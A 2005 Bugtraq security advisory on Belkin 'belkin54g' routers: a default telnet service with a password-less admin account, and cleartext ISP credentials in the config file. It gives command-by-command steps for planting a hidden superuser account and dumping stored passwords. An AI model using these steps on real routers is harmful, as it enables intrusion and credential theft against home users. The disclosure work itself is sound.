Message-ID: <20050715081414.12921.qmail@securityfocus.com>
Date: 15 Jul 2005 08:14:14 -0000
From: m123303@...urityfocus.com, "[at]"@securityfocus.com,
	richmond.ac.uk@...urityfocus.com
To: bugtraq@...urityfocus.com
Subject: several vulnerabilities present in Belkin wireless routers


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Advisory name: 
several vulnerabilities present in Belkin wireless routers

Overall severity rating:
HIGH risk

Devices affected: 
"belkin54g" family of wireless routers 

4 main vulnerabilities are included in this advisory:
- - default telnet backdoor
- - password-less administrative account
- - verbose messages in telnet sessions reveal filesystem structure and
possible "interesting" files
- - cleartext sensitive information stored in config file (config.icf)

Date: 
July 15, 2005

Author:
pagvac (Adrian Pastor)

Description:
I've been able to identify several important vulnerabilities in
different Belkin wireless routers. These vulnerabilities have been
tested and verified in at least three different Belkin wireless
router models which are very similar, not only in the way they look
but also in their functionalities. 

These Belkin wireless routers are quite popular among home users
probably due to their affordable price and easiness of use. This
means that the following vulnerabilities and exploits should be
present in a big number of devices available out there which should
be very easy to find for wardrivers. 

Note: these routers use a default SSID of "belkin54g". 

- From here, I'd like to encourage other computer security enthusiasts
to test what I found in their Belkin wireless routers and also let
everyone know that positive and negative comments about the content
of this advisory are welcome.

The first problem is the existance of a default telnet backdoor
running on the usual 23/tcp port. From my experience, telnet
interfaces are NOT enabled by default in wireless routers but rather,
they usually need to be enabled from their administrative web
interfaces manually:


<Start of output>

Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-06-06
18:34 BST
Initiating SYN Stealth Scan against BelkinModem.Belkin (192.168.2.1)
[1663 ports] at 18:34
Discovered open port 53/tcp on 192.168.2.1
Discovered open port 80/tcp on 192.168.2.1
Discovered open port 23/tcp on 192.168.2.1
The SYN Stealth Scan took 1.93s to scan 1663 total ports.
Initiating UDP Scan against BelkinModem.Belkin (192.168.2.1) [1478
ports] at 18:34
The UDP Scan took 1.92s to scan 1478 total ports.
Host BelkinModem.Belkin (192.168.2.1) appears to be up ... good.
Interesting ports on BelkinModem.Belkin (192.168.2.1):
(The 3133 ports scanned but not shown below are in state: closed)
PORT     STATE         SERVICE
23/tcp   open          telnet
53/tcp   open          domain
53/udp   open|filtered domain
67/udp   open|filtered dhcpserver
80/tcp   open          http
123/udp  open|filtered ntp
520/udp  open|filtered route
1900/udp open|filtered UPnP
MAC Address: 00:11:50:XX:XX:XX (Belkin)

</End of output>


This device is usually configured with a default IP address of
192.168.2.1. The interesting thing about the telnet interface in this
case is that it provides users with many powerful commands that are
NOT accessible through the administrative web interface. Again, let
me remind you that the telnet service is running straight out of the
box so no user intervention is needed. 

The telnet service, just like the web interface, can be accessed by
default with root privileges using a "null" password. When I say
"null" I mean empty, in other words: no password. The difference is
that the web interface sends the username to the system so only the
password is required from the user. In this case, all the user needs
to do is click on the "Submit" button after accessing
http://192.168.2.1 without entering any password AT ALL. In the case
of the telnet service, the authentication is different in the sense
that the system prompts the user for BOTH, username and password. The
right combination is admin/"null", where "null" is an empty password
(just press <enter> when prompted for password):

<Start of output>

# telnet 192.168.2.1

Trying 192.168.2.1...
Connected to 192.168.2.1.
Escape character is '^]'.

                ,vvvdP9P???^   ,,,
              vvd###P^`^         vvvvv v
         vv#####?^                  ????####vv,
      vv####??     ,vvvdP???^  ,,,        ??##^
     v#####?    ,vvd##P?^        #?#v#vvv
   v#####?    v###P^    ,vvv,        '?#?,
  ######?   ####?^ ,vd#P?^     `???##
  #####?   v####  ,d##P^           ''
 ######   v####  ]###L                   _   _          _            
     ___
 #####?   v####  ]##L                   /   / \  |\ |  |_  \/   /\  
|\ |   |
 ######    ####  ]###L                  \_  \_/  | \|  |_  /\  /--\ 
| \|   |
 ?#####v   ####v  ]##h,            ,,
  ?#####    ?###h,  `9#hv,     ,vv###
    ######    #####L    ]###L        ,v#v'
    ?#####vv    ?9##hv,        ,,vvvv###'
       ?#####vv     `??9P\vv,   ^         vv##,
          ######                       #######L
            ??###hvv,          ,vvv#?##?????
                `????9hdhvv,

Login: admin
<enter>
</End of output>


As it can be seen, the OS firmware is developed by Conexant, although
the routers themselves are from Belkin. After researching on both
Belkin and Conexant websites I found nothing about the OS running in
these devices and ways to configure them through telnet. However, the
console mode shows many tools that are available in GNU/Linux
systems, indicating that this is the type of system running behind
the scenes.

After logging in, the user is immediately granted root privileges on
the system. There are many interesting things an attacker can do at
this point. Most of the interesting functions are under the "system"
commands menu. In order to see all the available commands enter "?". 


<Start of output>

- --> ?
802.1x           802.1x port based authentication
agent            Get a file from a remote host
autoprov
bridge           Configure layer 2 bridge
console          Console access
dhcpclient       DHCP client configuration commands
dhcpserver       DHCP server configuration commands
diagnosticTest
dnsclient        DNS client configuration commands
dnsrelay         DNS relay configuration
ethernet         Commands to configure ethernet transports
firewall         Firewall configuration commands
help             Top level CLI help
igmp
imdebug          Directly access the information model
ip               Configure IP router
logger           Log to a remote host using syslog
nat              NAT configuration commands
port             Physical port configuration commands
pppoa            PPP over ATM configuration
pppoe
radclient        RADIUS Client Configuration commands
rfc1483          Commands to configure RFC1483 transports
security         Security configuration commands not specific to NAT
or firewall
sntpclient       Simple Network Time Protocol Client commands
source           Read a file of commands
system           System administration commands
transports       Transport configuration commands
upnp             UPnP configuration commands
user             User commands
webserver        Webserver configuration commands
wpa              Configure WPA (Wireless Protected Access)
- -->

</End of output>


To see the available flags/options for a certain command, enter the
name of the command followed by "?" again and so on:


<Start of output>

- --> system ?
add              Add a user to the system
auto-update      Update device firmware automatically from a remote
server
config           Configuration file maintenance
cpuload          Show current CPU loading
delete           Remove system users
info             Display hardware/software information
legal
list             List system information
log              Set logging options
restart          Restart system (same as pressing reset)
set              Set user privileges

</End of output>


The first exploit an attacker could perform is to add a backdoor
account with administrative privileges:


<Start of output>

- --> system list logins

Users:
                      May      May conf.    May       Access
 ID  |   Name     |  Conf.   |   web    |  Dialin  |   Level    | 
Comment
- -----|------------|----------|----------|----------|------------|-----
- --------
   1 | admin      | ENABLED  | ENABLED  | disabled | superuser  |
Admin user
- ----------------------------------------------------------------------
- ---------

- --> system set user guest access superuser


- --> system list logins

Users:
                      May      May conf.    May       Access
 ID  |   Name     |  Conf.   |   web    |  Dialin  |   Level    | 
Comment
- -----|------------|----------|----------|----------|------------|-----
- --------
   1 | admin      | ENABLED  | ENABLED  | disabled | superuser  |
Admin user
   2 | guest      | ENABLED  | ENABLED  | disabled | superuser  |
Created by CLI
- ----------------------------------------------------------------------
- ---------


- --> system set login guest maydialin enabled


- --> system list logins

Users:
                      May      May conf.    May       Access
 ID  |   Name     |  Conf.   |   web    |  Dialin  |   Level    | 
Comment
- -----|------------|----------|----------|----------|------------|-----
- --------
   1 | admin      | ENABLED  | ENABLED  | disabled | superuser  |
Admin user
   2 | guest      | ENABLED  | ENABLED  | ENABLED  | superuser  |
Created by CLI
- ----------------------------------------------------------------------
- ---------

<End of output>


In this case the attacker first lists the avaialable accounts on the
system and then creates an acccount called "guest" assigning
superuser privileges to it. After that, the attacker also gives
dialin permissions to this new backdoor account. In reality, if an
attacker doesn't want to be loud, he/she would probably use an
account name that doesn't attract the attention from the owner of the
router. Such account could be called something like "test", "guest",
"manager", "default", "root", or "administrator". In this case the
attacker chose "guest".

I'd like to say that I don't exactly know what the system means by
"May Dialin". I simply confirmed during my tests that an attacker can
indeed assign "dialin" privileges to a newly created superuser
account and use it to connect to the router through the telnet
interface with root privileges. 

I suspect that the "dialin" permissions are related to either one of
the following:

- - permissions to allow a given account to connect to the router 
- - a dialin interface which can be used by the administrator to dial
the router from the PSTN (telephone network) provided that the router
is connected to a telephone line. 

If anyone has played with this option in Belkin routers, please send
me your comments. Due to the lack of documentation available about
the telnet interface of these routers, I could not find further
information on "dialin" permissions.

After adding the backdoor account the attacker can log into the
router through telnet using this new account. After that, the
attacker can add a password with the "user password" command:


<Start of output>

- --> user password
Enter new password: ********
   Again to verify: ********

</End of output>


The second interesting thing that an attacker could do is to browse
the filesystem and dump the config file on the screen. The default
name of the config file of these routers is "config.icf". This file
can be obtained in two ways:

- - from the web interface (http://192.168.2.1) by clicking on "Save
configuration"
- - through the telnet interface by browsing the filesystem in the
"console enable" mode

After accessing the "console enable" mode the user is provided with a
bunch of powerful commands, including popular Linux/GNU tools such as
"cat". This is how to access the console mode (notice how "?" is used
to list available options for the "console" command):


<Start of output>

- --> console ?
enable           Enter console mode
process          Execute console command


- --> console enable
Switching from CLI to console mode - type 'exit' to return

Quantum>


</End of output>



The way I found where the config file was located was NOT by browsing
the filesystem manually with "cd" and "ls" commands, but rather by
exploiting an interesting behavior of these routers. Basically, when
you save configuration files from the web interface, make invalid
http requests, or save system settings (from the web interface as
well), the system will dump messages on the telnet interface. For
instance, if you connect to the telnet service and save the
configuration settings from the web interface, the following message
will be dumped on the telnet session:

<Start of output>

Saving to backup configuration //isfs/im.conf.backup

</End of output>


The following error was dumped after playing with invalid requests:


<Start of output>

Quantum> webserver: ewsServeEmWebInclude: '/shared/header_start.html'
not found or wrong type

</End of output>


I suggest playing with the web interface while having the telnet
session open to find interesting files and directories as an
alternative to manually browsing the filesystem. Also, it might be
fun to try MITM proxy attacks against the router's web interface with
tools such as Achilles or Paros. This would allow us to modify the
inputs included in the POST requests which would normally be
restricted by the client-side forms. Doing this should hopefully dump
some interesting errors on the telnet session. 

The following are some of the directories present in the filesystem:

/isfs/
/shared/
/webconfig/images/
/webconfig/styles/
/webconfig/styles/
/webconfig/update/



Many tools are available in the "console enable" mode. In this case,
I used "cat" to dump sensitive information found in the config file.
Remember that a backup of the configuration file can be obtained from
/isfs/im.conf.backup.

Interesting things which I found in these file are the following:
- - hostnames and IP addresses from the DNS table (these are computers
that are connected in the 	  present and have been connected in the
past to the router)
- - ISP account configuration including username and password (yes,
this is all in cleartext as well!)

The following output is an example of DNS entries extracted from the
config file. Note that the original MAC addresses, hostnames,
username and password have been modified for privacy reasons:

<Start of output>

N ImDnsRelayLanHostEntry
ImDnsRelay.ImDnsRelayLanHostEntries.computerName1ipv4
	A hostName computerName1
	A ipaddr 192.168.2.21
	A macAddress XX:XX:XX:XX:XX:XX
N ImDnsRelayLanHostEntry
ImDnsRelay.ImDnsRelayLanHostEntries.computerName2ipv4
	A hostName computerName2
	A ipaddr 192.168.2.6
	A macAddress XX:XX:XX:XX:XX:XX
N ImDnsRelayLanHostEntry
ImDnsRelay.ImDnsRelayLanHostEntries.computerName3ipv4
	A hostName computerName3
	A ipaddr 192.168.2.4
	A macAddress XX:XX:XX:XX:XX:XX
N ImDnsRelayLanHostEntry
ImDnsRelay.ImDnsRelayLanHostEntries.computerName4ipv4
	A hostName computerName4
	A ipaddr 192.168.2.7
	A macAddress XX:XX:XX:XX:XX:XX

</End of output>


The following are some of the settings related to the ISP account
configuration including sensitive information such as username and
password in the clear:


<Start of output>

A weLoginName myname.mysurname@...l.ispdomain.com
A weLoginPassword this-is-my-password-in-the-clear
A weLoginAuth chap

</End of output>


I'd like to stress that the consequences of storing the username,
password and authentication protocol in the clear can be exploited in
very malicious ways. For instance, the first thing that an attacker
can exploit is the fact that ISPs usually give users some web
services after they get their DSL connections set up. I'm talking
about things such as webmail and account management services. By
default, these services use the same password as the one used on the
ISP account (which can be obtained from the config file). In other
cases, these passwords also remain the same because it's just easier
for users to have the same password for all their ISP-related
accounts. 

Also, let's remember that the same password could also be used by the
user in other services such as messengers, ftp servers and so on.
This type of information could be easily obtained by an attacker
sniffing the network either with a wireless sniffer such as Airopeek
NX or by performing a MITM attack through ARP poisoning with a tool
like Cain.

I'm sure that if other people play more with these routers they can
find other vulnerabilities, exploits and interesting functions.
Personally, I was surprised by the power that these Belkin routers
give you once they're accessed through the telnet interface.

Because most of these "belkin54" family of routers give you root
privileges by default through the telnet interface, it is really up
to the attacker on what to exploit. It's just a matter of imagination
and curiosity. Some ideas could include redirecting users to the
router's web server whose files could be previously replaced by
scripts that would exploit the latest vulnerabilities present in the
most popular web browsers.

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1 - not licensed for commercial use: www.pgp.com

iQA/AwUBQtdtRbteQP8gtTAfEQLVbgCdG3Txno+dGhLtmvAytTrYtVwqHW0AoMIK
Yknf7sFxGJw7hbIK1oX642EB
=5Mdx
-----END PGP SIGNATURE-----

Powered by blists - more mailing lists